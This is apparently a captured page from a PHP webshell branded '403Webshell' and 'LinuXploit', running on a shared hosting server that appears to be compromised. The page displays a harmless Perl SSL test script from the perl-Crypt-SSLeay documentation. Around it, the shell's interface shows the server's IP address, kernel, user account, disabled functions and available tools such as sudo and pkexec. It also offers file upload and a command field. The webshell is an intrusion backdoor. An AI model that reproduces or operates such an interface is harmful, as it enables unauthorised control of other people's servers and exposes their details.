403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Crypt-SSLeay-0.64/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Crypt-SSLeay-0.64/lwp-ssl-test
#!/usr/bin/perl

use lib qw(lib);
use LWP::UserAgent;
use Getopt::Long;
use strict;
use vars qw($opt_proxy $opt_debug $opt_cert $opt_key $opt_cafile $opt_cadir);
use Data::Dumper qw(Dumper);

GetOptions(
	   'd' => \$opt_debug,
	   'p:s' => \$opt_proxy,
	   'proxy:s' => \$opt_proxy,
	   'cert:s' => \$opt_cert,
	   'key:s' => \$opt_key,
	   'CAfile:s' => \$opt_cafile,
	   'CAdir:s' => \$opt_cadir,
	   );

if($opt_debug) {
    eval "use LWP::Debug qw(+);";
}

# PROXY SUPPORT
$ENV{HTTPS_PROXY} = $opt_proxy;
$ENV{HTTPS_DEBUG} = $opt_debug;

$ENV{HTTPS_CERT_FILE} = $opt_cert;
$ENV{HTTPS_KEY_FILE} = $opt_key;

$opt_cafile && ( $ENV{HTTPS_CA_FILE} = $opt_cafile );
$opt_cadir  && ( $ENV{HTTPS_CA_DIR} = $opt_cadir   );
	 
my $url = shift || 'https://www.nodeworks.com';
my $ua = new LWP::UserAgent;
$ua->timeout(15);
my $req = new HTTP::Request('HEAD', $url);
my $res = $ua->request($req);

print Dumper($res);

Youez - 2016 - github.com/yon3zu
LinuXploit